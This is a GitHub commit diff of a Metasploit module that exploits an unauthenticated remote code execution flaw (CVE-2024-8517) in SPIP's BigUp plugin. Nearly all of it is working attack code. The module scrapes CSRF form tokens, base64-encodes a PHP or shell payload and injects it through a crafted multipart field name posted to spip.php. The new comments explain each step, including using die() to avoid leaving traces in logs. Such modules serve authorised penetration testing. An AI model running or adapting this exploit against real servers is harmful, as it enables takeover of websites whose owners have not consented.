Skip to content

Commit 8b1e1da

Browse files
committed
Add some comments and CVE ID
1 parent fdc2808 commit 8b1e1da

File tree

1 file changed

+52
-35
lines changed

1 file changed

+52
-35
lines changed

modules/exploits/multi/http/spip_bigup_unauth_rce.rb

Lines changed: 52 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
'Description' => %q{
2020
This module exploits a Remote Code Execution vulnerability in the BigUp plugin of SPIP.
2121
The vulnerability lies in the `lister_fichiers_par_champs` function, which is triggered
22-
when the `bigup_retrouver_fichiers` parameter is set to `1`. By exploiting the improper
22+
when the `bigup_retrouver_fichiers` parameter is set to any value. By exploiting the improper
2323
handling of multipart form data in file uploads, an attacker can inject and execute
2424
arbitrary PHP code on the target server.
2525
@@ -29,17 +29,18 @@ def initialize(info = {})
2929
4.3.2, 4.2.16, and 4.1.18.
3030
},
3131
'Author' => [
32-
'Vozec', # Vulnerability Discoverer
33-
'Laluka', # Vulnerability Discoverer
34-
'Julien Voisin', # Code Review
32+
'Vozec', # Vulnerability Discovery
33+
'Laluka', # Vulnerability Discovery
34+
'Julien Voisin', # Code Review
3535
'Valentin Lobstein' # Metasploit Module
3636
],
3737
'License' => MSF_LICENSE,
3838
'References' => [
39+
['CVE', '2024-8517'],
3940
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html']
4041
],
4142
'Platform' => %w[php unix linux win],
42-
'Arch' => [ARCH_PHP, ARCH_CMD],
43+
'Arch' => %w[ARCH_PHP ARCH_CMD],
4344
'Targets' => [
4445
[
4546
'PHP In-Memory', {
@@ -103,19 +104,22 @@ def check
103104

104105
unless plugin_version
105106
print_warning('Could not determine the version of the bigup plugin.')
106-
return Exploit::CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
107+
return CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
107108
end
108109

109-
return Exploit::CheckCode::Appears("The detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.") if plugin_version < Rex::Version.new('3.1.6')
110+
return CheckCode::Appears("The detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.") if plugin_version < Rex::Version.new('3.1.6')
110111

111112
CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
112113
end
113114

115+
# This function tests several pages to find a form with a valid CSRF token and its corresponding action.
116+
# It allows the user to specify a URL via the FORM_PAGE option (e.g., spip.php?article1).
117+
# We need to check multiple pages because the configuration of SPIP can vary.
114118
def get_form_data
115119
pages = []
116120

117121
form_page = datastore['FORM_PAGE']
118-
pages << form_page if form_page && form_page.downcase != 'auto'
122+
pages << form_page if form_page&.downcase != 'auto'
119123

120124
pages.concat(%w[login spip_pass contact]) if pages.empty?
121125

@@ -132,48 +136,61 @@ def get_form_data
132136
next unless action && args
133137

134138
print_status("Found formulaire_action: #{action}")
135-
print_status("Found formulaire_action_args: #{args}")
139+
print_status("Found formulaire_action_args: #{args[0..20]}...")
136140
return { action: action, args: args }
137141
end
138142

139143
nil
140144
end
145+
end
141146

142-
def php_exec_cmd(encoded_payload)
143-
vars = Rex::RandomIdentifier::Generator.new
144-
dis = "$#{vars[:dis]}"
145-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
146-
<<-END_OF_PHP_CODE
147+
# This function generates PHP code to execute a given payload on the target.
148+
# We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
149+
# The payload is encoded in base64 to prevent issues with special characters.
150+
# The generated PHP code includes the necessary preamble and system block to execute the payload.
151+
# This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
152+
def php_exec_cmd(encoded_payload)
153+
vars = Rex::RandomIdentifier::Generator.new
154+
dis = "$#{vars[:dis]}"
155+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
156+
<<-END_OF_PHP_CODE
147157
#{php_preamble(disabled_varname: dis)}
148158
$c = base64_decode("#{encoded_clean_payload}");
149159
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
150-
END_OF_PHP_CODE
160+
END_OF_PHP_CODE
161+
end
162+
163+
def exploit
164+
form_data = get_form_data
165+
166+
unless form_data
167+
fail_with(Failure::NotFound, 'Could not retrieve formulaire_action or formulaire_action_args value from any page.')
151168
end
152169

153-
def exploit
154-
form_data = get_form_data
170+
print_status('Preparing to send exploit payload to the target...')
155171

156-
unless form_data
157-
fail_with(Failure::NotFound, 'Could not retrieve formulaire_action or formulaire_action_args value from any page.')
158-
end
172+
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
173+
b64_payload = framework.encoders.create('php/base64').encode(phped_payload).gsub(';', '')
159174

160-
print_status('Preparing to send exploit payload to the target...')
175+
post_data = Rex::MIME::Message.new
161176

162-
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
163-
b64_payload = framework.encoders.create('php/base64').encode(phped_payload).gsub(';', '')
177+
# This line is necessary for the form to be valid, works in tandem with formulaire_action_args
178+
post_data.add_part(form_data[:action], nil, nil, 'form-data; name="formulaire_action"')
164179

165-
post_data = Rex::MIME::Message.new
180+
# This value is necessary for $_FILES to be used and for the bigup plugin to be "activated" for this request, thus triggering the vulnerability
181+
post_data.add_part(Rex::Text.rand_text_alphanumeric(4, 8), nil, nil, 'form-data; name="bigup_retrouver_fichiers"')
166182

167-
post_data.add_part(form_data[:action], nil, nil, 'form-data; name="formulaire_action"')
168-
post_data.add_part('1', nil, nil, 'form-data; name="bigup_retrouver_fichiers"')
169-
post_data.add_part('', nil, nil, "form-data; name=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}['.#{b64_payload}.die().']\"; filename=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}\"")
170-
post_data.add_part(form_data[:args], nil, nil, 'form-data; name="formulaire_action_args"')
183+
# Injection is performed here. The die() function is used to avoid leaving traces in the logs,
184+
# prevent errors, and stop the execution of PHP after the injection.
185+
post_data.add_part('', nil, nil, "form-data; name=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}['.#{b64_payload}.die().']\"; filename=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}\"")
171186

172-
send_request_cgi({
173-
'method' => 'POST',
174-
'uri' => normalize_uri(target_uri.path, 'spip.php'),
175-
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
176-
'data' => post_data.to_s
177-
}, 1)
178-
end
187+
# This is necessary for the form to be accepted
188+
post_data.add_part(form_data[:args], nil, nil, 'form-data; name="formulaire_action_args"')
189+
190+
send_request_cgi({
191+
'method' => 'POST',
192+
'uri' => normalize_uri(target_uri.path, 'spip.php'),
193+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
194+
'data' => post_data.to_s
195+
}, 1)
179196
end

0 commit comments

Comments
 (0)